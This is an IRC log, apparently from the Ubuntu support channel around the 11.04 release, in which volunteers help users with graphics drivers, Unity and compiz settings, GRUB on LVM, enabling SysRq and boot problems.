[21:17] <epimeth_> hi all!  can I restrict which services a user can start/stop using sudo?  IE: I want them to be able to service apache2 restart but not, say mysql
[21:18] <billsmith> BTW, have been running SuSE 11.4 and there are boot problems and video problems with that release that have not been evident with previous versions.
[21:18] <Brandano> billsmith: just use an actual terminal rather than the terminal window. CTRL+ALT+F1 to CTRL+ALT+F& . CTRL+ALT+F7 will bring you back to the graphical interface
[21:18] <Brandano> err, s/F&/F6/
[21:18] <Osmodivs> So, MSN is not compatible with aMSN, because I am trying to do a web conference and I can ' t
[21:18] <tbrew13> edbian, okay no please help me with that also how do i get compiz effects working
[21:18] <sary> guntbert, that/ exactly.
[21:18] <AMAG> l403: actually the "failsafe graphics mode" choice in the recovery menu worked, so i am re-installing nvidia-current now and will see what happens in a few minutes.
[21:18] <edbian> tbrew13: I'm thinking that switching drivers will solve both problems.
[21:19] <MnCC> anyone know a good total commander clone ?
[21:19] <billsmith> I'll try that again, but recall the previous attempt failed.  Don't recall what happened, so as mentioned, will retest.
[21:19] <gridbag> you guys are scaring me. i don't think i want to upgrade to 4.11 today.
[21:19] <AMAG> How could gdm be depending on nvidia-current but it isn't the X driver that X is running?  This seems strange.
[21:19] <sary> gridbag , why not ?
[21:19] <tbrew13> edbian, how do i do this
[21:20] <Brandano> that would be a release from November 2004?
[21:20] <edbian> tbrew13: According to lspci radeon (the open source driver) is installed it just isn't being used.  If we remove fglrx (sudo apt-get purge fglrx) and reboot we should see the radeon is being used in sudo lspci -k
[21:20] <billsmith> Am just curious if the same problems with SuSE are evident in Ubuntu.  From the comments scolling by, it may have to do with changes in the kernel.
[21:20] <edbian> tbrew13: Make sense?
[21:20] <usr13> MnCC: are you talking about Midnight Commander?
[21:20] <meraqlix> do I need to format and re-install Ubuntu 11.04 after missing the GUI from the rescent 11.04 update?
[21:20] <xro> Jordan_U, thanks for your time.... i hope ubuntu won't disappoint me in the future...
[21:20] <l403> no
[21:21] <jamesstanley> Jordan_U: are you sure the device.map thing is a red herring? Should I not try to find and correct device.map?
[21:21] <CQ> meraqlix: no. sudo apt-get install --reinstall ubuntu-desktop could do it
[21:21] <usr13> MnCC: mc - Midnight Commander - a file manager
[21:21] <tbrew13> edbian, on it but can i just use the addtional drivers and uninstall it from there
[21:21] <MnCC> usr13, no a good equivalent for the Windows version of Total Commander under nix
[21:21] <guntbert> sary: are you behind a proxy?
[21:21] <usr13> MnCC: Ok, sorry, I don't know about Total Commander.
[21:22] <MnCC> usr13, thanks
[21:22] <edbian> tbrew13: The additional driver thing is buggy in my opinion.  I think it will cause more problems then it will solve but you can if you want.  We should still confirm things using sudo lspci (or sudo lsmod is even better)
[21:22] <tbrew13> edbian, do i have to reboot or will log out work
[21:22] <Brandano> MnCC: runs on wine
[21:22] <tbrew13> edbian, i removed it your way
[21:23] <edbian> tbrew13: I suggest a reboot
[21:23] <l403> MnCC, filezilla
[21:23] <tbrew13> ok on it now
[21:23] <zerosanity> ok.. my menu bars turned white and i can't get them back to the dark defaults.. how do i fix it?
[21:23] <edbian> tbrew13: :)
[21:23] <zul_> hi all
[21:23] <AMAG> l403: Same situation after re-installing nvidia-current.  X works but "Additional Drivers" claims the nvidia driver isn't in use, and 3D acceleration is clearly not working because glxgears like doesn't even budge, the system is almost hung when running it, and it claims it is running at 17,000 frames/second, but obviously that's not true
[21:23] <l403> lol
[21:24] <sary> guntbert , No , not something am aware of. but i've start notcing this issue after i've re-subscribe to my (ISP). week ago.
[21:24] <AMAG> well, I dunno, maybe it could be but the gears aren't moving and the system is useless :)
[21:24] <zul_> who can tell me what's the path to copy  mysql-connector-java-5.1.10-bin.jar for a java web application running in tomcat6?
[21:24] <l403> AMAG, I am trying to kill sound events in fluxbox unsuccessfully.. going for a smoke
[21:24] <AMAG> l403: I'll probably still be here struggling with X when you come back :)
[21:24] <newb2linux> Is anyone able to help me out removeing a ppa in terminal?
[21:24] <velcroshooz> could someone tell me the best way to format an 'advanced format' (ie the larger sector) drive under linux?
[21:25] <l403> sul_ find / "name.jar"
[21:25] <zul_> #ubuntu-it
[21:25] <edbian> newb2linux: sudo nano /etc/apt/sources.list   comment out that PPA
[21:25] <guntbert> sary: try it with a text based browser (like elinks)
[21:26] <MnCC> Brandano, personally i dont trust wine with tc on ext4 .. you tried it ?
[21:26] <zul_> the java application is in /var/lib/tomcat6/webapps l403
[21:26] <zerosanity> ok i've got it looking like this http://bit.ly/iGN6vx but i want it to look like this http://bit.ly/ip2lSn again. help!
[21:26] <yehudah_> how do you use a bluetooth device that has been rejected
[21:26] <Brandano> AMAG: check the output from glxinfo and /var/log/Xorg.0.log for (EE) lines ( cat /var/log/Xorg.0.log | grep \(EE\) )
[21:26] <quix> Hello
[21:26] <MnCC> l403, gonna try it
[21:26] <Brandano> MnCC: nope. I have plenty of other stuff running with Wine on ext3 though
[21:26] <quix> I've been using LibreOffice on Ubuntu 11.04 a lot these days and I've noticed a strange behavior
[21:27] <newb2linux> its not a ppa I guess.. this is what I get when I try to update with apt-get
[21:27] <newb2linux> W: Failed to fetch http://ppa.launchpad.net/user/ppa-name/ubuntu/dists/lucid/main/binary-i386/Packages.gz  404  Not Found
[21:27] <newb2linux> how do I remove that?
[21:27] <MnCC> Brandano, can you give me some examples ?
[21:27] <tbrew13> edbian, ok now i need help how do i get xchat to put its icon on the top panel where the shutdown button is and how do i use compiz effects
[21:27] <newb2linux> Err http://ppa.launchpad.net lucid/main Packages
[21:27] <quix> when I drag content within LibreOffice (text, images, etc), Ubuntu"s dock locks up above all otehr windows, ifen if they are maximized
[21:28] <quix> anzone else having this problem
[21:28] <Brandano> MnCC: Steam, Myst Online... games mainly
[21:28] <newb2linux> What is ppa.launchpad.net?
[21:28] <celthunder>  /b 7
[21:28] <edbian> tbrew13: So what driver is being used?  Is the choppiness problem gone?
[21:28] <quix> even*
[21:28] <AMAG> glxinfo says "server glx vendor string: NVIDIA Corporation" and I have no (EE) lines in /var/log/Xorg.0.log
[21:28] <tbrew13> edbian, yes
[21:28] <l403> AMAG, I can msg you my xorg.conf
[21:28] <MnCC> Brandano, cool
[21:28] <edbian> tbrew13: Are you using unity?
[21:28] <gjeoffroy> exit
[21:28] <tbrew13> edbian, yes
[21:28] <edbian> tbrew13: ps -e | grep compiz
[21:28] <edbian> tbrew13: What does that return?
[21:28] <Brandano> MnCC: to be honest, Steam is installed on ext3, but the appdata folder is a symlink to a folder on an NTFS partition
[21:28] <AMAG> l403: sure
[21:29] <scottlad> hello
[21:29] <Brandano> MnCC: that way I get to reuse the same space for Windows and Linux. I rarely run Windows, but some of the steam apps won't run on Linux
[21:29] <newb2linux> Err http://ppa.launchpad.net lucid/main Packages when updating with apt-get in terminal how do I fix?
[21:30] <tbrew13> edbian, im lost like can i put an panel on the botton like in classic ubuntu and how do i put icons on my desktop i cant drag them from the unity bar
[21:30] <dfgas> updated to 11.04 and now my screen is all messed up. besides /etc/X11/xorg.conf is there any other settings i can delete?
[21:30] <dfgas> so it will auto setup my screen again?
[21:30] <tbrew13> edbian, result of that command 1525 ?        00:00:26 compiz
[21:30] <dfgas> or any other way to fix it??
[21:30] <MnCC> Brandano, i have that too .. but i ditched windows completely .. run some apps in virtualbox if i cant find a suitable replacement
[21:30] <Brandano> AMAG: does  glxinfo say "direct rendering: on" somewhere?
[21:31] <edbian> tbrew13: That command shows me that compiz is running.  In unity you cannot drag the buttons off the unity bar.  To add a new panel I think you right click an existing panel and select new panel.  Not sure if this is gone in unity as well.
[21:31] <Brandano> MnCC: I doubt I have enough processor power for serious 3D graphics in a virtual PC
[21:32] <Brandano> AMAG: sorry, I meant "Yes" instead of "on"
[21:32] <MnCC> Brandano, well you can assign 3d memory from your graphics card in 4.0 .. but for gaming .. i dunno ..it might
[21:32] <tbrew13> edbian, okay so how do i get xchat to beep or an icon on the top panel of unity so i know when you message me
[21:32] <sary> guntbert will do.
[21:32] <edbian> tbrew13: in xchat settings -> preferences -> alerts -> enable system tray icon.  Assuming you're not running gnome-xchat or what
[21:32] <dp> is there a walkthrough on being able to sync music/videos/photos/etc to your iphone from natty?
[21:33] <scottlad> Anyone need any hosting?
[21:33] <AMAG> brando:Yes, it says "direct rendering: Yes"
[21:33] <oCean> scottlad: no spamming please
[21:33] <guntbert> scottlad: don't advertise
[21:33] <Brandano> AMAG: then your drivers are installed fine
[21:33] <newb2linux> Err http://ppa.launchpad.net lucid/main Packages when updating with apt-get in terminal how do I fix?
[21:33] <Brandano> AMAG: the problem is somewhere else
[21:34] <tbrew13> edbian, system try icon is checked nothing
[21:34] <tbrew13> edbian, running regular version
[21:34] <Brandano> AMAG: did you restart the desktop manager after installing them?
[21:34] <botcity> !iphone | dp
[21:34] <ubottu> dp: For information on how to sync and add tracks to your iPod, see the guide at https://help.ubuntu.com/community/IPodHowto - For the iPhone and the iPod Touch, see https://help.ubuntu.com/community/PortableDevices/iPhone - See !RockBox for information on liberating your iPod
[21:34] <AMAG> Brandano: Yes.  I think it might be that "glx" is not loaded into X?
[21:34] <edbian> tbrew13: Maybe it's a unity thing.  Can you right click on the top panel -> add to panel -> notification area
[21:34] <pattysmatty> is dban good to use?
[21:35] <AMAG> l403:My xorg.conf does not have this anywhere:   Load     "glx"
[21:35] <dp> botcity: sadly, the ipod I have doesn't work with rockbox yet, and everything in the iPhone page (from a cursory glance) is based around the suggestion that you're jailbroken
[21:35] <tbrew13> edbian, i cant right click on the top panel at all
[21:35] <edbian> tbrew13: Then it's unity to blame
[21:35] <TheRedOctober> Has anyone gotten dual monitors extended desktop working on xubuntu-desktop 11.04?
[21:35] <edbian> tbrew13: Sounds to me like you're missing gnome2.  Why don't you use ubuntu classic at login?
[21:35] <yehudah_> how do you use a bluetooth device that has been rejected
[21:36] <sary> guntbert , you think it's a browser part issue. what's odd is that / i've tried to post-in to forums from a windows machine.
[21:36] <MnCC> yehudah_, remove device try again
[21:36] <tbrew13> edbian, i like unity just working with it ok i got it to show a notification at the top of the screen
[21:36] <edbian> tbrew13: What did you do to get a notification area?
[21:36] <guntbert> sary: and did it work?
[21:36] <tbrew13> but how do i add icons to the desktop if i cant drag them
[21:36] <edbian> tbrew13: I don't know.
[21:36] <MnCC> yehudah_, i tried mine like 3 or 4 times before it accepted
[21:36] <yehudah_> dont help
[21:36] <tbrew13> check show bollons in prefrences
[21:36] <Brandano> AMAG: neither does mine, doesn't seem to be a problem. In the "device" section what is the value of "Driver" ?
[21:36] <sary> guntbert: it did work, Yes.
[21:36] <W00tty> hi
[21:37] <edbian> tbrew13: Preferences for xchat or perferences for unity?
[21:37]  * sary testing in elinks + w3m.
[21:37] <tbrew13> edbian, xchat
[21:37] <edbian> tbrew13: mm.  Fixed?
[21:37] <Master> hi guys
[21:37] <edbian> tbrew13: Any more problems?
[21:38] <W00tty> how can I change my console coloring with the command force-color in the config file ?
[21:38] <tbrew13> yeah
[21:38] <Master> what's up
[21:38] <edbian> tbrew13: :D
[21:38] <tbrew13> edbian, thank you so much okay what about desktop cube wobbly windows
[21:38] <tbrew13> stuff like that
[21:38] <AMAG> Brandano: Driver      nvidia
[21:38] <guntbert> sary: I want to make sure if it might be a problem with gnome settings, a transparent proxy,....   - but I'm out for tonight  - Good luck :-)
[21:38] <edbian> tbrew13: install compizconfig-settings-manager and tweak to your hearts content!
[21:39] <Brandano> AMAG: that really ought to be enough
[21:39] <tbrew13> tried it messed up ill try again
[21:39] <edbian> tbrew13: What do you mean you messed up?
[21:39] <l403> AMAG, success. I am done. I have no idea what I did. I just booted into gnome and then back to flux its the sounds are gone.
[21:39] <__yhvh__> why is the emacs-snapshot package more out of date than the emacs package?
[21:39] <yehudah_> MnCC: just tried 6/7 times. the device has been added to the reject list.
[21:39] <Brandano> AMAG: anyway, messed up stuff in xorg.conf would show in the logs
[21:39] <yehudah_> how do i remove it from the list
[21:39] <AMAG> from looking at /var/log/Xorg.0.log it seems like the nvidia driver is running, as is glx, but I can't understand why glxgears does not work and the "Additional Drivers" tools says it isn't being used.
[21:40] <edbian> AMAG: Not sure about glxgears.  Additional Drivers is a bit buggy in my opinion.  Not surprised it's lying to you :P
[21:40] <Brandano> Well, if you started the safe graphics mode it won't be used in your current session, but I guess that is not what you mean
[21:41] <AMAG> Yeah, I rebooted since then, several times. :)
[21:41] <Brandano> Do you have the Nvidia X Server Settings icon in System>Administration?
[21:41] <tbrew13> edbian, i would make the top bar disappear i would log out the top bar would work again but wobbly windows was unchecked
[21:41] <JWay> after upgrade to 11.04 google chrome opens a tab 500 ms slower than it used to, any suggestions?
[21:42] <Brandano> Perhaps it is mapped to a different display
[21:42] <AMAG> Yes, and it is able to detect the monitor and the graphics card.  I hit "save" and it modified Xorg.conf, but all it seems to have done is add descriptions.
[21:42] <sary> guntbert you're so kind in assistance ;) .. i've noted the ' gnome transparent proxy ' ty and have a nice one/
[21:42] <JWay> happens on both ubuntu classic and unity
[21:42] <edbian> tbrew13: What is making the top bar disappear ?
[21:42] <Master> ok
[21:43] <edbian> tbrew13: If you check wobbly windows do they become... wobbly?
[21:43] <Brandano> edbian: I bet for autohide
[21:43] <tbrew13> edbian, whenever i disable snapping windows to enable wobbly windows
[21:43] <tbrew13> be right back
[21:43] <Master> guys i need help !
[21:43] <Brandano> Ah, missing decorators in compiz
[21:43] <Master> commeon
[21:43] <Master> common
[21:43] <edbian> tbrew13: ?  You can have snapping and wobbly at the same time.  What do you mean top bar?  The top unity bar or the title bar of the window?
[21:44] <AMAG> I'm really confused as this all worked fine before I upgraded to 11.04, from 10.10.  I admit it's been quite a few years since I've had to fight with X to make things work. :)
[21:44] <Master> what's the best linux ?????
[21:44] <Brandano> Master: I can give you some generic solutions, or do you want a specific one?
[21:44] <edbian> Brandano: You think the decorators for compiz are missing for tbrew ?
[21:44] <Brandano> Master: why would you ask that in an ubuntu centric channel?
[21:45] <Brandano> edbian: I had that problem in the past when fiddling with an early compiz and emerald
[21:45] <Somelauw> Hi, how do I do: sudo cat 1 > proc/sys/sysrq ?
[21:45] <Master> i don't know just asking to improve my knowledje about linux
[21:45] <edbian> Brandano: Oh yeah?  Tell tbrew how to fix it! :D
[21:45] <tbrew13> edbian, wobbly windows work but it made the top bar go missing i logged out and logged in and now wobbly windows does not work and is unchecked snapping windows is rechecked
[21:45] <Somelauw> Can I do it without su?
[21:45] <Brandano> edbian: but I don't remember how I got around fixing it. Ultimately I fixed everything by disabling Compiz
[21:45] <edbian> tbrew13: see Brandano He has an idea
[21:45] <edbian> Brandano: well crap
[21:46] <Brandano> tbrew13: let me google a bit
[21:46] <sary> Master , Linux is just the kernel / you meant whats the best GNU/Linux Distro. you have to find out yourself .. and there is no such thing as ' the best '.
[21:46] <CQ> Master starting with ubuntu is not bad, easy to install, fairly stable, and you can always dig into the internals as much as you like
[21:46] <phibxr> Master, of course, most people in here would respond 'ubuntu'. :)
[21:46] <sary> I would go with CQ advice ;)
[21:46] <edbian> tbrew13: I'm not sure.  Try messing with all the different settings in ccsm.  Like maybe gnome-support or some other generic settings.  The title bars are drawn by the 'decorator'  not sure if that's related
[21:46] <jamesstanley> Jordan_U: I have got my update-grub to work :D. I made a /boot/grub/device.map with "(vg1-ubuntu--root) /dev/vg1/ubuntu-root" as the only contents
[21:46] <phibxr> Master, it's like joining #apple and asking what the best personal computer is. :P
[21:47] <tbrew13> edbian, is there a way i can get in touch with you outside the channel you really helped me and i have to go so post it and ill look when i get back Brandano im sorry i have to go post like an email or something or at least tell me if you will get on again
[21:47] <ale_> اغاني
[21:47] <edbian> tbrew13: Just come back to the channel.  I'm here all the time.
[21:47] <ale_> لخخلمث
[21:47] <Master> thank you guys
[21:47] <edbian> or not...
[21:47] <Jordan_U> jamesstanley: That is a *very* bad idea and will break grub-install (without warning).
[21:47] <deokanon> hello, i have a simple question... did something change in the open source propiertary driver for graphic cards in 11.04? i can play games now like crazy
[21:47] <ale_> google
[21:47] <sary> ale_ الأغاني حرام.
[21:47] <jamesstanley> Jordan_U: how so?
[21:48] <Master> another question what's the good about the RED HAT
[21:48] <Glycan> Hello.
[21:48] <Glycan> How do I make it so that U boots before windows?
[21:48] <Master> good
[21:48] <syrinx_> !ot | Master
[21:48] <ubottu> Master: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[21:48] <botcity> Somelauw, what is that for ? it does not make sense
[21:48] <sary> ale_: Could we assist you with something ?
[21:48] <yehudah_> how do you use a bluetooth device that has been added to the reject list
[21:48] <edgy> Hi, echo '1z' |grep --color '[A-Z]'
[21:48] <edgy> 1z
[21:48] <AMAG> l403:any other ideas?  My Xorg.conf file looks functionally identical to yours, except Load glx, but I added that to mine and it did not do anything (other than emit a message to Xorg.0.log about how it's both automatic and configured)
[21:48] <edgy> why z is selected?
[21:49] <jamesstanley> Jordan_U: grub-install currently works perfectly well and i can't see myself changing the name of either the vg or the lv ever
[21:49] <sary> Glycan: that whould be from grub setting , i can't recall it how though.
[21:49] <CQ> AMAG: I had some other stuff installed (nvidia drivers iirc) that I had to uninstall to get the GL based stuff to work properly... maybe you have something installed you don't need and that's being used?
[21:49] <Jordan_U> jamesstanley: By putting a device in /boot/grub/device.map you are stating that said device is a plain device accessible at boot from the BIOS (i.e. not a higher level abstraction like LVM).
[21:49] <Glycan> Please explain,
[21:50] <Glycan> I deleted windows and now I can't boot.
[21:50] <sary> Glycan: you might wana check grub config.files
[21:50] <Glycan> (On that box)
[21:50] <Glycan> Where?
[21:50] <Jordan_U> jamesstanley: grub-install will not give any error, but it will produce a core.img which cannot read LVM.
[21:50] <jamesstanley> Jordan_U: the root filesystem should be irrelevant to grub since /boot is not in lvm
[21:50] <Somelauw> botcity: I am trying to enable sysrq magic. I have trouble with the getting acces part.
[21:50] <Jordan_U> jamesstanley: Ahh, indeed.
[21:50] <jamesstanley> Jordan_U: /boot is a separate partition
[21:50] <AMAG> CQ: I can't imagine what that would be.  My ubuntu 10 install was pretty vanilla; I didn't fool with it at all.
[21:50] <yehudah_> edbian: how do you use a bluetooth device that has been added to the reject list
[21:50] <sary> Glycan:from what OS box you're typing right now.
[21:50] <Jordan_U> jamesstanley: I forgot that you had a separate /boot.
[21:50] <edbian> yehudah_: No clue.  Sorry!
[21:51] <edbian> yehudah_: Never done that myself
[21:51] <jamesstanley> Jordan_U: ok, thanks for pointing out my potential mistake anyway
[21:51] <yehudah_> edbian: thanks
[21:51] <edbian> yehudah_: sorry!
[21:51] <Glycan> I'm on a seperate windows box;
[21:51] <Jordan_U> jamesstanley: You're welcome.
[21:51] <Glycan> What are you talking about?
[21:51] <jamesstanley> Jordan_U: well i guess it's still a mistake but it will have no consequences. it's more of a workaround
[21:51] <Glycan> Also, where is the boot sequance stored?
[21:51] <thevishy> while chosing partitions
[21:51] <tase> when I go on google.com it's all in a wierd language, how do I fix it, firefox on ubuntu seems to be reporting my language as being CHR ?
[21:51] <CQ> Amag no idea either, i went through the packages that were installed and renoved the xserver-* packages I didn't need and also the nvidia stuff since i have intel chipset
[21:51] <thevishy> can I make sure windows partitions are untouched?
[21:51] <Jordan_U> jamesstanley: You may not get the full resolution purple menu at boot since fonts won't be able to be read from LVM, but other than that it should be fine.
[21:52] <jamesstanley> that's no odds to me
[21:52] <jamesstanley> i don't spend much time staring at the boot menu anyway
[21:52] <thevishy> how is natty ? what is the review
[21:52] <Glycan> Guys?
[21:52] <thevishy> can I install ubuntu-desktop edition to my netbook
[21:52] <Jordan_U> jamesstanley: Please do file a bug report about it (run "ubuntu-bug grub" *without* any device.map so to avoid confusion) though as it is a problem which should be fixed.
[21:53] <Jordan_U> jamesstanley: Sorry, "ubuntu-bug grub-pc"
[21:53] <jamesstanley> Jordan_U: ok, will do
[21:53] <sary> Glycan you have o exuse me , i know nothing about boot sequance in windows.
[21:53] <Jordan_U> jamesstanley: Thanks.
[21:53] <Glycan> This is a computer.
[21:53] <Glycan> In general.
[21:53] <Glycan> Not windows.
[21:53] <Glycan> It had windows on it.
[21:54] <guidewire_> has anyone installed the flash player 11 on ubuntu?
[21:54] <Glycan> Now it doesn;t.
[21:54] <FloodBot1> Glycan: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[21:54] <botcity> Somelauw, i think you what the  "echo"  command
[21:54]  * Brandano goes to grab some food
[21:54] <sary> Glycan: Try to describe your issue in details.
[21:54] <botcity> !sysrq | Somelauw
[21:54] <ubottu> Somelauw: In an emergency, you may be able to shutdown cleanly and reboot by holding down Alt+PrintScreen and typing, in succession, R, E, I, S, U and B. For an explanation, see http://en.wikipedia.org/wiki/Magic_SysRq_key
[21:55] <corinth_> Hi all. Is there a command to basically purge my system of changes I've made since the fresh install...essentially setting it back to a vanilla state?
[21:56] <Glycan> Let's see...
[21:56] <Glycan> Well, at the very least
[21:57] <guidewire_> anyone
[21:57] <guidewire_> I'm trying to see if flash molehill
[21:57] <Emylbus> all of my windows are messed up! they are caught in the corners of the screen and I can't move them out of the way to interact. Here is a picture of it happening with both my screenshot program and firefox (you will see i cant see the tabs bar nor anywhere to move the window. I can't even resize http://imgur.com/QeFHD  this problem remains even after restarting the computer. I'm using Unity 640-bit
[21:57] <guidewire_> runs nicely in ubuntu
[21:57] <Emylbus> 64-bit*
[21:58] <syrinx_>  where you on the date of july 29, 2009?
[21:58] <syrinx_> 16:55 < syrinx_> rabbitear: in space
[21:58] <syrinx_> 16:55 < rabbitear> Srf?
[21:58] <syrinx_> oops, sorry
[21:58] <Somelauw> Hi, my computer just crashed.
[21:58] <Emylbus> and by unity i mean 11.04 T_T
[21:58] <Glycan> Before, Win would load, ask me what I wanted to do, I woul dtell him to load U, U would ask me if I wanted to run safe mode or what, I woul dask for U, and I would give it to me.
[21:58] <Glycan> Then I killed Win, but it still points to win, and doesn't work.
[21:58] <Somelauw> I was asking how to enable reisub? In ubuntu. I tried echo 1 > /proc/sys/kernel/sysrq.
[21:59] <jamesstanley> Jordan_U: submitted
[21:59] <Somelauw> But it didn't work.
[21:59] <corinth_> So is apt purge-ppa not a command...because it's not registering as one for me o_O
[21:59] <Jordan_U> jamesstanley: Could you subscribe me, "jordanu" to the bug?
[21:59] <Glycan> Also, the laptop this is happening on seems to turn of randomy, despite the fact that it's plugged in.
[21:59] <Jordan_U> jamesstanley: Or just give me a link?
[21:59] <LjL> Somelauw: thought it was enabled by default
[21:59] <mstef> anyone notice how unity screws up when you 'X' an application that minimizes to the system tray when 'X'ed? is there a way to fix that so it keeps the icon? otherwise it keeps running int eh back and you can't get to it..
[21:59] <jamesstanley> Jordan_U: https://bugs.launchpad.net/ubuntu/+source/grub2/+bug/777435
[21:59] <ubottu> Ubuntu bug 777435 in grub2 (Ubuntu) "update-grub failed after changing hard disk (using lvm for root but not for /boot)" [Undecided,New]
[22:00] <Somelauw> Ljl, it isn't here. Using ubuntu 10.10.
[22:00] <Jordan_U> jamesstanley: Thanks.
[22:00] <jamesstanley> no problem
[22:00] <LjL> Somelauw: i know i've used alt+sysrq+k (don't try this everyone unless you want to kill x), and it worked
[22:00] <rikkimaru> what's the best way to remap fn + left to home?
[22:00] <LjL> i tried it under 11.04 though
[22:00] <Somelauw> LjL: $ cat /proc/sys/kernel/sysrq
[22:00] <Somelauw> 0
[22:01] <juniorsa> Hi, I have an HP laptop AMD and since I installed 11.04 it seems to overheat and freeze, any suggestions? I don't even know how to find out what is making it freeze
[22:01] <Somelauw> Ironically, my laptop just crashed.
[22:01] <Somelauw> And I couldn't use it.
[22:01] <sary> Glycan: so , what are you triyng to do exactly.
[22:01] <Glycan> Run U.
[22:01] <Somelauw> But this laptop + ubuntu never has been very stable.
[22:02] <Somelauw> But anyway, I tried to enable it using sudo echo 1 > /proc/sys/kernel/sysrq, but it says I don't have permission. I think that it is because of the ">" inside the command.
[22:03] <sary> Glycan: grab an ubuntu Live-cd , burn it to a USB stick or CD-DVD-R.
[22:03] <Glycan> Been there, done that.
[22:03] <Glycan> Doesn't work.
[22:03] <Glycan> Well, on a DVD
[22:03] <trism> Somelauw: echo 1 | sudo tee /proc/sys/kernel/sysrq; and you're right, > is captured by the shell
[22:03] <MnCC> id like to launch programs as root from context menu (like the runas in windows), does that exist ?
[22:04] <Glycan> sudo
[22:04] <Glycan> Special user-do
[22:04] <MnCC> Glycan, from the context menu .. when i click on an icon ?
[22:04] <rikkimaru> is there a built-in way to remap keyboard commands in ubuntu 11.04? I'd like fn+left to be home
[22:04] <Glycan> Terminal.
[22:04] <Glycan> Otherwise, no idea
[22:05] <usr13> MnCC: sudo will do the job.
[22:05] <sary> Glycan: have you checked the iso with ubuntu md5sum? also
[22:05] <MnCC> Glycan, thats why i asked
[22:05] <MnCC> usr13, not from the context menu unfortunately
[22:05] <Glycan> Ahem, guys: "Can not mount /dev/loop/() (.cdrom/casper/filesystem.squshfs) on //filesystem.squashfs
[22:06] <Glycan> "
[22:06] <usr13> MnCC: Is there a particular application your thinking of?
[22:06] <MnCC> crapy unity, it hijacks my mod key
[22:07] <MnCC> usr13, no .. i just need an extra menu option run as root . . its such a hassle to gksu/su/sudo everytime .. or create duplicate items
[22:07] <Somelauw> Is there any reason sysrq magic is disabled by default by the way? Since why would you disable such a useful feature
[22:07] <usr13> MnCC: Pretty much all the applications you have installed are going to have all the authority and permissions to do what ever it is they need to do.
[22:07] <Emylbus> does anyone know of a way to move windows around by pressing a button? In previous versions of ubuntu I could hold down alt and then grab any window to move it. Now i can't and unity is bugging out for me not letting me access the top part of any window of any application i open. I'm using 11.04 64-bit if that helps. Here is a screenshot of my problem http://imgur.com/QeFHD note the screenshot program is cut in half and i can't see the tab bar in the firefo
[22:07] <iceroot> Somelauw: its enabled
[22:08] <Somelauw> thanks trismn. I think it worked. If it didn't work. I will probably notice when I reboot.
[22:08] <MnCC> usr13, true: except for every filemanager
[22:09] <Somelauw> iceroot: Here it was disabled. Also I updated from 10.4 to 10.10.
[22:09] <usr13> MnCC: You will find that there are some fundamental differences between Linux and MS Windows.  I think this is one of them.
[22:09] <Somelauw> But really, it was disabled hre by default.
[22:09] <usr13> MnCC: What do you mean every filemanager?
[22:09] <usr13> MnCC: What is it that you are unable to do with the filemanager?
[22:09] <iceroot> Somelauw: the keycombo for restarting is working fine on 10.10 and 11.04
[22:09] <iceroot> Somelauw: others are not testet
[22:10] <muneeb> hi, i'm not getting overlay scrollbars? How do I enable it?
[22:10] <MnCC> usr13, i can do everything with it .. its just such a hassle  .. you want to copy something outside your home folder .. have to gksu/sudo/su ..start app again.. go to directory .. then repeat the action
[22:10] <majewski> ciao
[22:10] <iceroot> Somelauw: go to tty1 and press alt + print + m  and it will show you the memory dump
[22:11] <iceroot> Somelauw: testet on 11.04
[22:11] <sary> Glycan have you tried changing your boot order to boot from CD-ROM first.
[22:11] <guidewire_> so.... adding the beta flash player into firefox
[22:11] <guidewire_> any ideas
[22:11] <guidewire_> ?
[22:11] <LjL> MnCC: if you need to copy stuff outside of your home folder that often, you're Doing It Wrong©
[22:11] <|Seth|> I got nothin'
[22:11] <cellardoor> Help :)wraund@morpheus:~$ sudo dpkg-reconfigure -a
[22:11] <cellardoor> debconf: DbDriver "config": /var/cache/debconf/config.dat is locked by another process: Resource temporarily unavailable
[22:11] <cellardoor> wraund@morpheus:~$ htop
[22:11] <Somelauw> iceroot: what is the memory dump. Does it work in gnome-terminal?
[22:11] <chaospsyX> can someone help me on how to use 'KLibido'
[22:12] <MnCC> LjL, not really ..you keep al your music and videos in your homefolder ?
[22:12] <iceroot> Somelauw: if i am correct its only working on tty and not gnome-terminal
[22:12] <LjL> MnCC: yes? but even if i didn't, i'd keep them somewhere i have permissions to, obviously
[22:12] <iceroot> Somelauw: the memory dump is showing you what is going on on your memory
[22:12] <sary> Glycan: do you get this ' BusyBox vX.XX.X(Ubuntu X:X.X.X-XXXXXX) built-in shell (ash)
[22:12] <sary> Enter 'help' for a list of built-in commands.
[22:13] <gridbag> my box has been very busy lately.
[22:13] <usr13> MnCC: I think you may have a misconception or two about how to do things in the Linux environment.  It's not hard but there are some things that require admin priviledges and there is good reason for it.  The cases where you copy something to a directory that you as a user don't have permission to write to are very rare.
[22:14] <iceroot> Somelauw: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/315503  maybe have a look here?
[22:14] <ubottu> Ubuntu bug 315503 in linux (Ubuntu) ""Magic SysRq keys" don't work on laptop (Dell XPS M1210)" [Undecided,Expired]
[22:15] <chaospsyX> can someone help me on how to use 'KLibido'
[22:15] <usr13> MnCC: Everything you need, want, use  etc.  are going to be found in your /home/ directory.
[22:15] <Somelauw> It says loglevel set to 0???
[22:16] <NO92> hey guys , when i boot my laptop this message appear >> BusyBox v1.17.1 (ubuntu 1:1.17.1-8ubuntu1)
[22:16] <NO92> Built-in shell (ash)
[22:16] <NO92> Enter help for a list of built-in commands
[22:16] <NO92> (initramfs)
[22:16] <NO92> any one know how can i solve it , i can't open my ubuntu NOW ><
[22:16] <FloodBot1> NO92: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[22:16] <MnCC> usr13, look i dont want to dump everything there ..especially after my upgrade to 11.04 .. it wasnt pretty
[22:16] <Somelauw> iceroot: It says loglevel set to 0?
[22:16] <iceroot> Somelauw: who said that?
[22:17] <ablaze> can someone tell me how to use wifi internet while using recovery mode console? plz
[22:17] <usr13> MnCC: You don't dump everyting in one single directory, you orginize our files into directories that make sense to you as a user.
[22:17] <Chaorain> I'm trying to make a perssistant Live USB, I want the usb partition to not be visible to Windows, can someone recomend a program? This seems out of date http://rudd-o.com/new-projects/portablelinux
[22:17] <JohnFlux> ablaze: not so easy :-/
[22:17] <iceroot> Chaorain: maybe encrypt the partition?
[22:18] <JWay> install of 11.04,  google chrome opens a tab 500 ms slower than it used to in 10.10, any suggestions why?
